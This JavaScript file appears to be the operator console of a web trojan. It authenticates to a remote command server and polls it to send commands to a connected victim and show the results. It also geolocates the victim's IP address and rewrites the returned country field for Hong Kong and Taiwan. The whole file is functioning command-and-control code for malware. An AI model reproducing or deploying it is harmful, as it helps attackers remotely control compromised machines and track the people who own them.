
//var remote = "http://127.0.0.1:5555";
var remote = "https://api.hackerstack.top";
var command = 'none';
var connect_ip = ''

function ip_location(ip , ip_info) {
    ip_info.innerHTML = '';

    var lat = '';
    var lon = '';

    var xhr = new XMLHttpRequest();
    xhr.open('GET' , remote+'/get_ip_location/'+ip , true);
    xhr.send();
    xhr.onload = function() {
        var json = JSON.parse(xhr.responseText);
        ip_info.innerHTML += '<p>IP: '+ip+'查询结果: </p>';
        for (var key in json) {
            /**
             * 家人们谁懂啊，我发现这个api调用会把 香港和台湾列为国家.
             * 所以说我要改一改
             */
            if (json.hasOwnProperty(key)) { 
                var btn_1 = document.createElement('button');
                var btn_2 = document.createElement('button');
                btn_1.innerText = key;

                btn_1.style.width = 'calc(50% - 10px)';
                btn_2.style.width = 'calc(50% - 10px)';


                if (key == 'country' && json[key] == 'Hong Kong') {
                    json[key] = 'China';
                }
                if (key == 'country' && (json[key] == 'TaiWan' || json[key] == 'Tai Wan')) {
                    json[key] = 'China'; 
                }
                if (key == 'lat') {
                    lat = json[key];
                    var key_name = 'lat (纬度)'
                    btn_1.innerText = key_name;
                    btn_2.innerText = json['lat'];
                }
                if (key == 'lon') {
                    lon = json[key];
                    var key_name = 'lon (经度)'
                    btn_1.innerText = key_name;
                    btn_2.innerText = json['lon'];
                } else {
                    console.log(1)
                }
                if (json[key] == '') {
                    btn_2.innerText = '-';
                } else {
                    btn_2.innerText = json[key];
                }
                ip_info.appendChild(btn_1);
                ip_info.appendChild(btn_2);
                ip_info.innerHTML += '<br />';
            }
        }      
    }
}


document.onkeydown = function(ev) 
{
    var event = ev || window.event;
    if (event.keyCode ==13) {
        var c = document.getElementById("in_command");
        var console = document.getElementById('console');

        if (command == 'clear') {
            console.innerHTML = '';
        }
        command = c.value;
        c.value = ''
    }
}
function next_send_command(c) {
    command = c
}


function load_function(r) {
    try {
        var json = JSON.parse(r);
        var ip = json['IP'];
        console.log(ip);
        console.log(json)
        if (ip != null) {
            document.getElementById('main').innerHTML = ''
            for (var i in json) {
                if (json.hasOwnProperty(i)) {
                    if (i == "IP") {
                        continue;
                    }
                    (function(i) {
                        var button = document.createElement('button');
                        button.innerText = i;
                        button.style.width = "calc(50% - 20px)";
                        console.log(json[i])
                        button.onclick = function() {
                            var c = json[i]['Command'];
                            var isInput = json[i]['Input'];
                            if (isInput) {
                                var content = prompt("输入命令 "+c+" 的参数");
                                if (content != null) {
                                    command = c + " " + content;
                                    setTimeout(() => {
                                        command = 'none'
                                    }, 400);
                                }
                            } 
                            else {
                                command = c;
                            }
                        }
                        document.getElementById('main').appendChild(button);
                    }) (i);
                }
            }
            document.getElementById("title").innerText = "连接: "+ip;
            ip_location(ip , document.getElementById('gps_console'))
        }
    }catch(e) {
        console.error(e)
        console.log(r)
        //showAlert(e , null)
        return;
    }
}

window.onload = function() {
    try {
        var console_dom = document.getElementById('console');
        var xhr = new XMLHttpRequest();
        var json = JSON.parse(document.cookie);
        xhr.open("POST" , remote+"/api/web_virus/"+json.user+"/"+json.pwd+"/" , true);
        xhr.send();
        xhr.onload = function() {
            var token = xhr.responseText;
            showAlert("<h2 style='color:red'>收到信息:</h2>"+'请访问URL:<br/>' + remote + '/'+token , null)

            var run = setInterval(function() 
            {
                var get_message = new XMLHttpRequest();
                get_message.open(
                    'POST',remote+"/virus_run/"+token+"/" , true
                    );
                get_message.send(JSON.stringify({'command':command}));
                get_message.onload = function() 
                {
                    if (get_message.readyState === 4) 
                    {
                        var r = get_message.responseText;
                        if (r.replace('\n','') != 'none')
                        {
                            load_function(r);
                            //showAlert(r , 1000)
                            console.log(r);
                            console_dom.innerHTML = ''
                            console_dom.innerHTML += r;  
                            command = 'none'
                        }
                    }
                }
            } , 1500); //使用短轮询，不是 websocket 用不起，而是短轮询更有性价比.
        }
    }catch(e) {
        showAlert("加载Web木马模块错误: "+e , null)
    }
}